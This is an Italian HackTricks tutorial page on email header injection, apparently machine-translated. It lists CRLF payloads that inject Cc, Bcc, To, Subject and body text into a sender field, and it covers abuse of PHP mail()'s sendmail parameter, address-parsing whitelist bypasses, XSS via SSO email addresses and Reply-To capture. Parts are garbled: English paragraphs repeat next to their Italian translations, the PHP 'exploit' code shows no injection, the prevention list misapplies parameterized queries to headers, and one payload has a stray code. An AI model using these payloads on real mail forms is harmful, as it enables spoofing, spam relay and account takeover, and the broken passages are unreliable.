13 KiB
Iniezioni di Email
![](/Mirrors/hacktricks/media/commit/99e7865a3e284cfd8993eeab4a4a52c3ac18bf90/.gitbook/assets/image%20%283%29%20%281%29%20%281%29%20%281%29%20%281%29.png)
Utilizza Trickest per creare e automatizzare facilmente flussi di lavoro supportati dagli strumenti della community più avanzati al mondo.
Ottieni l'accesso oggi stesso:
{% embed url="https://trickest.com/?utm_campaign=hacktrics&utm_medium=banner&utm_source=hacktricks" %}
Impara l'hacking di AWS da zero a eroe con htARTE (HackTricks AWS Red Team Expert)!
Altri modi per supportare HackTricks:
- Se vuoi vedere la tua azienda pubblicizzata in HackTricks o scaricare HackTricks in PDF, controlla i PACCHETTI DI ABBONAMENTO!
- Ottieni il merchandising ufficiale di PEASS & HackTricks
- Scopri The PEASS Family, la nostra collezione di esclusive NFT
- Unisciti al 💬 gruppo Discord o al gruppo Telegram o seguici su Twitter 🐦 @carlospolopm.
- Condividi i tuoi trucchi di hacking inviando PR ai repository github di HackTricks e HackTricks Cloud.
Inietta nell'email inviata
Inietta Cc e Bcc dopo l'argomento del mittente
From:sender@domain.com%0ACc:recipient@domain.co,%0ABcc:recipient1@domain.com
Il messaggio verrà inviato agli account del destinatario e del destinatario1.
Iniettare l'argomento
From:sender@domain.com%0ATo:attacker@domain.com
Il messaggio verrà inviato al destinatario originale e all'account dell'attaccante.
Inietta l'argomento del soggetto
From:sender@domain.com%0ASubject:This is%20Fake%20Subject
Il falso oggetto verrà aggiunto all'oggetto originale e in alcuni casi lo sostituirà. Dipende dal comportamento del servizio di posta.
Cambia il corpo del messaggio
Inietta un salto di linea a due righe, quindi scrivi il tuo messaggio per cambiare il corpo del messaggio.
From:sender@domain.com%0A%0AMy%20New%20%0Fake%20Message.
Sfruttamento della funzione mail() di PHP
The mail()
function in PHP is commonly used to send emails from a web application. However, if not properly secured, it can be vulnerable to email injection attacks. In an email injection attack, an attacker can manipulate the email headers to inject malicious content or even send emails on behalf of the application.
La funzione mail()
in PHP viene comunemente utilizzata per inviare email da un'applicazione web. Tuttavia, se non viene correttamente protetta, può essere vulnerabile ad attacchi di injection di email. In un attacco di injection di email, un attaccante può manipolare gli header delle email per iniettare contenuti maligni o addirittura inviare email a nome dell'applicazione.
Exploiting Email Headers
To exploit the email headers, an attacker can insert special characters such as newline characters (\r\n
) to break out of the email headers and inject their own content. This can be done by manipulating the To
, From
, CC
, BCC
, or Subject
fields.
Per sfruttare gli header delle email, un attaccante può inserire caratteri speciali come i caratteri di nuova linea (\r\n
) per uscire dagli header delle email e iniettare il proprio contenuto. Ciò può essere fatto manipolando i campi To
, From
, CC
, BCC
o Subject
.
Example Exploitation
Here is an example of how an email injection attack can be carried out:
<?php
$to = "user@example.com";
$subject = "Welcome to our website";
$message = "Dear user, thank you for signing up!";
$headers = "From: attacker@example.com\r\n";
$headers .= "CC: admin@example.com\r\n";
$headers .= "BCC: boss@example.com\r\n";
mail($to, $subject, $message, $headers);
?>
In this example, the attacker has injected their own email address (attacker@example.com
) into the From
field and added additional recipients in the CC
and BCC
fields. This allows the attacker to receive a copy of the email and potentially send emails on behalf of the application.
In questo esempio, l'attaccante ha iniettato il proprio indirizzo email (attacker@example.com
) nel campo From
e ha aggiunto destinatari aggiuntivi nei campi CC
e BCC
. Ciò consente all'attaccante di ricevere una copia dell'email e potenzialmente inviare email a nome dell'applicazione.
Prevention
To prevent email injection attacks, it is important to properly sanitize and validate user input before using it in email headers. Here are some best practices to follow:
- Use a secure email library or framework that handles email headers properly.
- Validate and sanitize user input to remove any special characters that could be used for injection.
- Use parameterized queries or prepared statements when inserting user input into email headers.
- Limit the use of user input in email headers and use static values whenever possible.
Per prevenire gli attacchi di injection di email, è importante sanificare e convalidare correttamente l'input dell'utente prima di utilizzarlo negli header delle email. Ecco alcune best practice da seguire:
- Utilizzare una libreria o un framework di email sicuro che gestisca correttamente gli header delle email.
- Convalidare e sanificare l'input dell'utente per rimuovere eventuali caratteri speciali che potrebbero essere utilizzati per l'injection.
- Utilizzare query parametriche o istruzioni preparate quando si inserisce l'input dell'utente negli header delle email.
- Limitare l'uso dell'input dell'utente negli header delle email e utilizzare valori statici quando possibile.
# The function has the following definition:
php --rf mail
Function [ <internal:standard> function mail ] {
- Parameters [5] {
Parameter #0 [ <required> $to ]
Parameter #1 [ <required> $subject ]
Parameter #2 [ <required> $message ]
Parameter #3 [ <optional> $additional_headers ]
Parameter #4 [ <optional> $additional_parameters ]
}
}
Il 5° parametro ($additional_parameters)
Questa sezione si basa su come sfruttare questo parametro supponendo che un attaccante lo controlli.
Questo parametro verrà aggiunto alla riga di comando che PHP utilizzerà per invocare il binario sendmail. Tuttavia, verrà sanificato con la funzione escapeshellcmd($additional_parameters)
.
In questo caso, un attaccante può iniettare parametri aggiuntivi per sendmail.
Differenze nell'implementazione di /usr/sbin/sendmail
L'interfaccia sendmail è fornita dal software di posta elettronica MTA (Sendmail, Postfix, Exim, ecc.) installato nel sistema. Sebbene la funzionalità di base (come i parametri -t -i -f) rimanga la stessa per motivi di compatibilità, altre funzioni e parametri variano notevolmente a seconda dell'MTA installato.
Ecco alcuni esempi di diverse pagine man del comando/interface sendmail:
- Sendmail MTA: http://www.sendmail.org/~ca/email/man/sendmail.html
- Postfix MTA: http://www.postfix.org/mailq.1.html
- Exim MTA: https://linux.die.net/man/8/eximReferences
A seconda dell'origine del binario sendmail, sono state scoperte diverse opzioni per sfruttarle e ottenere accesso a file o persino eseguire comandi arbitrari. Scopri come su https://exploitbox.io/paper/Pwning-PHP-Mail-Function-For-Fun-And-RCE.html
Iniezione nel nome dell'e-mail
Parti ignorate di un'e-mail
I simboli: +, - e {} in rare occasioni possono essere utilizzati per il tagging e ignorati dalla maggior parte dei server di posta elettronica
I commenti tra parentesi () all'inizio o alla fine verranno anche ignorati
- Esempio: john.doe(intigriti)@example.com → john.doe@example.com
Bypass della whitelist
![https://www.youtube.com/watch?app=desktop&v=4ZsTKvfP1g0](/Mirrors/hacktricks/media/commit/99e7865a3e284cfd8993eeab4a4a52c3ac18bf90/.gitbook/assets/image%20%284%29%20%286%29.png)
Virgolette
![https://www.youtube.com/watch?app=desktop&v=4ZsTKvfP1g0](/Mirrors/hacktricks/media/commit/99e7865a3e284cfd8993eeab4a4a52c3ac18bf90/.gitbook/assets/image%20%286%29%20%284%29.png)
Indirizzi IP
Puoi anche utilizzare indirizzi IP come nomi di dominio tra parentesi quadre:
- john.doe@[127.0.0.1]
- john.doe@[IPv6:2001:db8::1]
Altre vulnerabilità
SSO di terze parti
XSS
Alcuni servizi come github o salesforce permettono di creare un indirizzo email con payload XSS. Se puoi utilizzare questi provider per accedere ad altri servizi e questi servizi non sanificano correttamente l'email, potresti causare XSS.
Account-Takeover
Se un servizio SSO ti consente di creare un account senza verificare l'indirizzo email fornito (come salesforce) e quindi puoi utilizzare quell'account per accedere a un servizio diverso che affida a salesforce, potresti accedere a qualsiasi account.
Nota che salesforce indica se l'email fornita è stata verificata o meno, ma l'applicazione dovrebbe tenere conto di queste informazioni.
Reply-To
Puoi inviare un'email utilizzando From: company.com e Replay-To: attacker.com e se viene inviata una risposta automatica a causa dell'email inviata da un indirizzo interno, l'attaccante potrebbe essere in grado di ricevere quella risposta.
Tasso di hard bounce
Alcuni servizi, come AWS, implementano una soglia nota come Tasso di hard bounce, di solito impostata al 10%. Questa è una metrica critica, soprattutto per i servizi di consegna della posta elettronica. Quando questo tasso viene superato, il servizio, come il servizio di posta elettronica di AWS, può essere sospeso o bloccato.
Un hard bounce si riferisce a un email che è stata restituita al mittente perché l'indirizzo del destinatario è invalido o inesistente. Ciò potrebbe accadere per vari motivi, come l'invio di un'email a un indirizzo inesistente, a un dominio che non esiste o al rifiuto del server del destinatario di accettare email.
Nel contesto di AWS, se invii 1000 email e 100 di esse risultano in hard bounce (a causa di motivi come indirizzi o domini non validi), ciò significherebbe un tasso di hard bounce del 10%. Raggiungere o superare questo tasso può attivare AWS SES (Simple Email Service) per bloccare o sospendere le tue capacità di invio di email.
È fondamentale mantenere un basso tasso di hard bounce per garantire un servizio di posta elettronica ininterrotto e mantenere la reputazione del mittente. Monitorare e gestire la qualità degli indirizzi email nelle tue liste di invio può aiutare significativamente a raggiungere questo obiettivo.
Per informazioni più dettagliate, consultare la documentazione ufficiale di AWS sulla gestione dei bounce e delle segnalazioni AWS SES Bounce Handling.
Riferimenti
- https://resources.infosecinstitute.com/email-injection/
- https://exploitbox.io/paper/Pwning-PHP-Mail-Function-For-Fun-And-RCE.html
- https://drive.google.com/file/d/1iKL6wbp3yYwOmxEtAg1jEmuOf8RM8ty9/view
- https://www.youtube.com/watch?app=desktop&v=4ZsTKvfP1g0
Impara l'hacking di AWS da zero a eroe con htARTE (HackTricks AWS Red Team Expert)!
Altri modi per supportare HackTricks:
- Se vuoi vedere la tua azienda pubblicizzata in HackTricks o scaricare HackTricks in PDF controlla i PIANI DI ABBONAMENTO!
- Ottieni il merchandising ufficiale di PEASS & HackTricks
- Scopri The PEASS Family, la nostra collezione di esclusive NFT
- Unisciti al 💬 gruppo Discord o al gruppo Telegram o seguici su Twitter 🐦 @carlospolopm.
- Condividi i tuoi trucchi di hacking inviando PR ai HackTricks e HackTricks Cloud github repos.
![](/Mirrors/hacktricks/media/commit/99e7865a3e284cfd8993eeab4a4a52c3ac18bf90/.gitbook/assets/image%20%283%29%20%281%29%20%281%29%20%281%29%20%281%29.png)
Usa [Trickest](https://trickest.com/?utm_campaign=hacktrics&utm_medium=b